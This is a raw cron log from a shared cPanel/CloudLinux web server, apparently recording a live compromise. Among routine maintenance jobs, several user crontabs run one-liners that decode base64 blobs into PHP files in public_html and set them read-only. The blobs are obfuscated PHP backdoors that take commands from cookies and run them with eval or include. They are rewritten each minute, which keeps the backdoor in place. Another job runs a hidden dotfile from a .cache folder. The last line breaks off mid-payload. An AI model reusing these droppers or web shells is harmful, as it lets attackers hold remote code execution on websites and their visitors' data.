Jun  7 15:25:01 medusa CROND[23122]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_summary.cronlock /usr/sbin/cloudlinux-summary --send --json &> /dev/null)
Jun  7 15:25:02 medusa CROND[23139]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 15:25:02 medusa CROND[23141]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:25:02 medusa CROND[23142]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:25:02 medusa CROND[23143]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 15:25:02 medusa CROND[23144]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:25:02 medusa CROND[23145]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 15:25:02 medusa CROND[23148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 15:25:02 medusa CROND[23147]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 15:25:02 medusa CROND[23151]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:25:02 medusa CROND[23154]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:25:02 medusa CROND[23155]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 15:25:02 medusa CROND[23158]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 15:25:02 medusa CROND[23159]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:25:02 medusa CROND[23161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 15:25:02 medusa CROND[23153]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 15:25:02 medusa CROND[23163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 15:25:02 medusa CROND[23164]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:25:02 medusa CROND[23165]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:25:02 medusa CROND[23166]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:25:02 medusa CROND[23168]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:25:02 medusa CROND[23169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:26:01 medusa CROND[24894]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 15:26:01 medusa CROND[24895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:26:01 medusa CROND[24896]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 15:26:01 medusa CROND[24897]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:26:01 medusa CROND[24898]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:26:01 medusa CROND[24899]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 15:26:01 medusa CROND[24901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 15:26:01 medusa CROND[24903]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 15:26:01 medusa CROND[24905]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:26:01 medusa CROND[24902]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:26:01 medusa CROND[24907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:26:01 medusa CROND[24909]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:26:01 medusa CROND[24910]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 15:26:01 medusa CROND[24911]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 15:27:01 medusa CROND[26765]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 15:27:01 medusa CROND[26766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 15:27:01 medusa CROND[26767]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 15:27:01 medusa CROND[26768]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 15:27:01 medusa CROND[26770]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBu